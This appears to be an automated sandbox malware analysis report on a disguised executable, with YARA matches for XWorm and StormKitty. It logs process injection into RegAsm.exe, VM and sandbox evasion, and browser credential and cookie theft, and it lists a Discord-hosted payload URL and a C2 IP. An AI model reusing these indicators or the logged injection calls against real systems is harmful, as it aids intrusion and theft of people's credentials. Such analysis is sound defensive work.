Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory allocated: 2B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 2605			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 7249			Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe TID: 6860	Thread sleep count: 328 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe TID: 6832	Thread sleep count: 155 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe TID: 6744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5440	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 00000002.00000002.2653222752.0000000001215000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll="
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: rDoc5633276235623657_xls.exe, 00000000.00000002.1783472169.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll?
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Memory allocated: page read and write | page guard

.NET source code references suspicious native API functions

HIPS / PFW / Operating System Protection Evasion

Source: rDoc5633276235623657_xls.exe, Program.cs	Reference to suspicious API methods: App.ReadProcessMemory(Settings.pi.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)
Source: rDoc5633276235623657_xls.exe, Program.cs	Reference to suspicious API methods: App.VirtualAllocEx(Settings.pi.ProcessHandle, num2, length, 12288, 64)
Source: rDoc5633276235623657_xls.exe, Program.cs	Reference to suspicious API methods: App.WriteProcessMemory(Settings.pi.ProcessHandle, num4, payload, bufferSize, ref bytesRead)
Source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40A000	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000	Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D24008	Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe	Queries volume information: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rDoc5633276235623657_xls.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected BrowserPasswordDump

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Yara detected StormKitty Stealer

Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2652861730.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDoc5633276235623657_xls.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Yara detected StormKitty Stealer

Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.6ad0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dd3eb4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dcb45c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rDoc5633276235623657_xls.exe.2dc2a1c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2652861730.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDoc5633276235623657_xls.exe PID: 6696, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7008, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	2 Registry Run Keys / Startup Folder	311 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rDoc5633276235623657_xls.exe	100%	Avira	TR/Dropper.Gen
rDoc5633276235623657_xls.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\XClient.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://cdn.discordapp.com/attachments/1288648799220400244/1288791621017669705/xxxxxxxxxxx.txt?ex=66	0%	Avira URL Cloud	safe
https://urn.to/r/sds_seeaCould	0%	Avira URL Cloud	safe
http://james.newtonking.com/projects/json	0%	Avira URL Cloud	safe
https://www.newtonsoft.com/jsonschema	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/attachments/1288648799220400244/1288791621017669705/xxxxxxxxxxx.txt?ex=66f6783b&is=66f526bb&hm=22a3bafe0f63ec86e36ba63ace27289331a1b6e8c8a217e16ac633d8848215f6&	0%	Avira URL Cloud	safe
https://github.com/LimerBoy/StormKitty	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://cdn.discordapp.com	0%	Avira URL Cloud	safe
https://cdn.discordapp.com	0%	Avira URL Cloud	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	Avira URL Cloud	safe
178.215.236.218	0%	Avira URL Cloud	safe
https://www.nuget.org/packages/Newtonsoft.Json.Bson	0%	Avira URL Cloud	safe
http://cdn.discordapp.comd	0%	Avira URL Cloud	safe
https://urn.to/r/sds_see	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.135.233	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/1288648799220400244/1288791621017669705/xxxxxxxxxxx.txt?ex=66f6783b&is=66f526bb&hm=22a3bafe0f63ec86e36ba63ace27289331a1b6e8c8a217e16ac633d8848215f6&	false	Avira URL Cloud: safe	unknown
178.215.236.218	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	places.raw.2.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/1288648799220400244/1288791621017669705/xxxxxxxxxxx.txt?ex=66	rDoc5633276235623657_xls.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.9.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RegAsm.exe, 00000002.00000002.2656518468.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, tmp1CF0.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://cdn.discordapp.com	rDoc5633276235623657_xls.exe, 00000000.00000002.1784666277.0000000002D56000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RegAsm.exe, 00000002.00000002.2656518468.0000000003E3B000.00000004.00000800.00020000.00000000.sdmp, tmp1CF0.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	places.raw.2.dr	false	URL Reputation: safe	unknown
https://urn.to/r/sds_seeaCould	RegAsm.exe, 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
